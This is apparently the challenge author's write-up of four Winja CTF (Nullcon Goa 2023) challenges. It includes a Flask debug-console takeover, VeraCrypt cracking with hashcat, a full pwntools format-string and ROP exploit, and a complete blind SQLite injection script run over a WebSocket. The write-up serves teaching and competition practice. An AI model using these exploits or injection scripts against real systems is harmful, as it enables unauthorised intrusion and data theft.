Winja CTF - Nullcon Goa 2023

Winja CTF - Nullcon Goa 2023

Trailblazer

Challenge Description: Immerse yourself in a web application born from the brilliance of AI. This digital realm is a playground of challenges, meticulously woven by machine intelligence. Your mission: outsmart the very AI that birthed this intricate virtual environment.

Category: Web - Easy

Like other web challenges, one of the common enumeration techniques is to bruteforce the directory to find sensitive paths.

dirb https://trailblazer.winja.org/
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep  2 19:50:19 2023
URL_BASE: https://trailblazer.winja.org/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                         
---- Scanning URL: https://trailblazer.winja.org/ ----
+ https://trailblazer.winja.org/console (CODE:200|SIZE:1563)                 
-----------------
END_TIME: Sat Sep  2 19:52:31 2023
DOWNLOADED: 4612 - FOUND: 1

Here in this application, we find /console which is a Python debug console with pin protection based on the guess it should be either a Flask or Django application that is serving this console page.

 After looking around the assets file we find this javascript file which has minified code with obfuscation and this one function that is never invoked says Remove this after debugging which denotes this could be the debugger pin for that console.

Yes, that pin unlocks the console. From here you either take a reverse shell and look into the file system for the flag or just read the flag from the file. But we were tricked there flag wasn't in the flag, it was in the app secret key value of the flask server.

>>> open("flag.txt").read()
'Flag is not here. Check the Flask App secret value.'
>>> app.secret_key
'flag{ab22012e6c8eeb6c1560fc9bec493220_p1N_ArE_no7_$Afe_@lwaYS}'
>>> os.environ['APP_SECRET']
'flag{ab22012e6c8eeb6c1560fc9bec493220_p1N_ArE_no7_$Afe_@lwaYS}'

AI Volume Quest

Challenge Description: Step into the world of GPT-4.5's encrypted volume, shielded by a dual-layer security system. The challenge? Crack the code that guards it. First, unravel a complex PIN code, and then navigate the labyrinth of characters to unveil the passphrase that unveils the digital treasure within. Are you up for the task of breaching this virtual vault's defenses?

Category: Forensics

The given challenge file type is unknown

file challenge
challenge: data

Based on the challenge description and title it related to disk volume with encryption. So it should be around veracrypt or truecrypt. Finding the strings in the file gives a hint for PIM.

strings challenge | tail -1

This might be useful for you 1500..1600.

BruteForcing the challenge file with hashcat should give you a valid PIM and password

hashcat --force --status --hash-type=13721 --veracrypt-pim-start=1500 --veracrypt-pim-stop=1600 -S -w 3 --workload-profile="2" challenge /usr/share/wordlists/rockyou.txt

challenge:letmein   (PIM=1587)
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13721 (VeraCrypt SHA512 + XTS 512 bit (legacy))
Hash.Target......: challenge
Time.Started.....: Sun Jul 16 21:34:50 2023, (2 mins, 37 secs)
Time.Estimated...: Sun Jul 16 21:37:27 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        3 H/s (9.54ms) @ Accel:128 Loops:500 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344385 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 384/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1614500-1614999
Candidate.Engine.: Host Generator + PCIe
Candidates.#1....: jeffrey -> letmein
Hardware.Mon.#1..: Util: 77%
Started: Sun Jul 16 21:34:39 2023
Stopped: Sun Jul 16 21:37:28 2023

Now volume can be mounted and get the flag.flag{d4ebd6265ff27a4b78e52066a90183a0_VoLuMe_Wi7H_WE@k_P4S5W0rd_IS_UNsaF3}


AI Build Chain

Challenge Description: Discover the cutting-edge world of AI through our challenge centered around an AI building its own AI through a binary program. Your mission is to unravel the program's inner workings, grasp its underlying logic, and unveil the concealed output it produces. Are you up for the task of decoding the workflow within the AI Build Chain?

Category: PWN

Loading the Pwn file into GDB and checking the main function it says no symbols table which means binary is stripped with no function or variable names. Also, it has ASLR and PIE enabled and we are given with libc file.

let's examine the binary using ghidra, checking through various function which is defined. One function is used to print the flag which means the goal is to build ROP chains to invoke this function.

One functionality of this binary is to get input and print out the input without any format specific using printf function, by using the indented functionality of printf to parse format specific we can leak address from the stack which can give us offset to load LIBC to construct over the payload.

Also, you can see the main function which loads all the local functions into an array which is also stored in the stack in 32-bit architecture so we can leak both addresses to map the offset.

You can set offset at the output function and review stack to leak address. If you use %26$x which can leak the 26th stack element which containers the get_flag which end goal address to invoke. You can confirm the address with ghidra by setting the offset base 0 and then calculating the difference and adding to loaded address bases.

To leak the LIBC base similarly, you can leak any libc function address that is stored in the stack and find the difference with the libc file to get the offset dynamically. For example, you can leak %79$x which points to __libc_start_main+136.

Lastly, you can use ropper tool to get the gadget which can be used to construct the chain to invoke the get_flag function. You can use any method to invoke function I like to use call eax so, gathering the required gadgets are calleax, popeax and nopret. You can find gadgets from binary also libc since we have both addresses now to build the rop chain.

Here the exploit script which I created using python pwntools you can build something similar to this to automate the process to debug with GDB and exploit binaries.

from pwn import *
context.update(arch='i386', os='linux')
binPath = "./aibuildchain"
elf = context.binary = ELF(binPath)
libc = ELF("./libc")

p = process([binPath])

p.sendline(b"1")
p.recvuntil(b"Enter input prompt:")
p.sendline(b"%26$x")
p.sendline(b"2")
p.recvuntil(b"Enter your choice: ")
get_flag = int(p.recvline().decode("utf-8").strip().split(":")[-1],16)

p.sendline(b"1")
p.recvuntil(b"Enter input prompt:")
p.sendline(b"%79$x")
p.sendline(b"2")
p.recvuntil(b"Enter your choice: ")
leak_libc = int(p.recvline().decode("utf-8").strip().split(":")[-1],16) - 136 
libc.address = leak_libc - libc.symbols['__libc_start_main']

CALLEAX = 0x00023293 + libc.address 
POPEAX = 0x00127c91 + libc.address
NOPRET = 0x0002320f + libc.address

p.sendline(b"1")
payload = flat([
  b"A"*40,
  NOPRET,
  POPEAX,
  get_flag,
  CALLEAX
])

p.sendline(payload)
p.sendline(b"3")

p.interactive()

If you have built the ropchains properly it should show you the flag flag{aa6cb0bdddece04893c125dc449f1d43_Gadg3t$_4rE_co0l}


SculptAI

Challenge Description: Discover the magic of real-time interactions as you construct a webpage that effortlessly fetches and presents data from a dynamic database. Unleash your creativity using HTML, CSS, and JavaScript to craft an engaging user interface that comes to life with information. Are you ready to view a seamless and interactive web experience?

Category: Web - Medium

Just looking around the website, nothing means to be interesting unless you look into the network tab to discover the websocket communication to pull data for populating on the table in frontend.

This websocket connection takes a parameter called rows which pulls a number of rows that need to be returned and by modifying the parameter value to a different value returns more records. It should be related to some sort of vulnerability of injection. Let's try to assume it is SQL injection and modify the payload  to 1 AND 1=1 or 1 OR 1=1. We get results and when we try some other payload related to SQL injection it doesn't return anything and the connection closes which means it's blind SQL injection.

This Attack could be automated with sqlmap which takes more than an hour to detect and exploit through Cloudflare. Also, sqlmap by default doesn't support WebSocket so you are required to use a proxy to handle it. You can refer here sqlmap-websocket-proxy. This writeup will be about the manual exploitation method.

Initially, we need to identity the number of tables in the schema and which table will have juicy information to extract. As soon as try to run payload using information_schema it will not work so the database is not MySQL or PSQL MariaDB. Think about other alternatives it's only Sqlite or MSSQL. When trying Sqlite payload you should identity its Sqlite running in the background. Now we can enumerate for table information.  

1 AND {}=(SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')

Changing the {} with number you should be able to get total number of table in the schema.

# Find Table Name length
1 AND {}=(SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1)

# Find Table name character by character
1 AND '{}'=(SELECT SUBSTR(tbl_name,{},1) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1 OFFSET {})

Here we have the table name secret which have potentially sensitive information like flag for this challenge so we have to enumerate the columns in the table  

# Find the columns count
1 AND {}=(select count(*) from pragma_table_info("secret"))

# Column name length
1 AND {}=(select length(name) from pragma_table_info("secret") LIMIT 1 OFFSET {})

# Column name character by character
1 AND '{}'=(SELECT SUBSTR(name,{},1) from pragma_table_info('secret') LIMIT 1 OFFSET {})

From here we know the secret table has three columns we can write a payload to retrieve information similar way character by character for each column and find the flag.

from websocket import create_connection
from urllib.parse import unquote, urlparse
import json
from string import printable

# Define the WebSocket URL
websocket_url = "wss://sculptai1.winja.org/websocket"

# Get Table Count
table_count = "1 AND {}=(SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')"

# Get Table name character by character
table_name = "1 AND '{}'=(SELECT SUBSTR(tbl_name,{},1) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1 OFFSET {})"
table_name_len = "1 AND {}=(SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1 OFFSET {})"

def send_ws(payload):
    ws = create_connection(websocket_url)
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"rows":"%s"}' % message
    
    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

tables = []
for i in range(1,16):
    data = send_ws(table_count.format(i))
    if len(json.loads(data)) > 0:
        tables = [""]*i
        break
print(f"Total no of tables: {len(tables)}")

for i,t in enumerate(tables):
    name_length = 0
    for j in range(1,100):
        data = send_ws(table_name_len.format(j,i))
        if len(json.loads(data)) > 0:
            name_length = j
            break
    print(f"Table {i+1} Name Length: {name_length}")
    
    for _ in range(name_length+1):
        for c in printable:
            data = send_ws(table_name.format(c,len(tables[i])+1,i))
            if data!="" and len(json.loads(data)) > 0:
                tables[i]+=c
                break
    tables[i] = tables[i].replace("%",'')  

print(tables)

column_count = '1 AND {}=(select count(*) from pragma_table_info("{}"))'
column_name_len = '1 AND {}=(select length(name) from pragma_table_info("{}") LIMIT 1 OFFSET {})'
column_name = "1 AND '{}'=(SELECT SUBSTR(name,{},1) from pragma_table_info('{}') LIMIT 1 OFFSET {})"
columns = {}
for table in tables:
    print(f"Enumerating columns for {table} table")
    for i in range(1,100):
        data = send_ws(column_count.format(i,table))
        if data and len(json.loads(data)) > 0:
            columns[table] = [""]*i
            break
        
    if table not in list(columns.keys()):
        continue

    for i,col in enumerate(columns[table]):
        name_length = 0
        for j in range(1,100):
            data = send_ws(column_name_len.format(j,table,i))
            if len(json.loads(data)) > 0:
                name_length = j
                break
            
        for j in range(name_length+1):
            for c in printable:
                data = send_ws(column_name.format(c,len(columns[table][i])+1,table,i))
                if data!="" and len(json.loads(data)) > 0:
                    columns[table][i]+=c
                    break
        columns[table][i] = columns[table][i].replace("%",'')

print(json.dumps(columns,indent=2))

flag_length = 0
flag_sql = "1 AND '{}'=(SELECT SUBSTR(value,{},1) FROM secret LIMIT 1 OFFSET 0)"
flag = ""

for i in range(1,100):
    data = send_ws("1 AND {}=(SELECT length(value) from secret LIMIT 1 OFFSET 0)".format(i))
    if len(json.loads(data)) > 0:
        flag_length = i
        break
print(f"Flag Length: {flag_length}")

for i in range(flag_length+1):
    for c in printable:
        data = send_ws(flag_sql.format(c,len(flag)+1))
        if data!="" and len(json.loads(data)) > 0:
            flag+=c
            break
print(flag)

Thank you for playing the CTF and reading this writeup till the end. Hope you enjoyed these challenges that I created. See you at the next CTF till then Bye 👋! from T3cH_W1z4rD.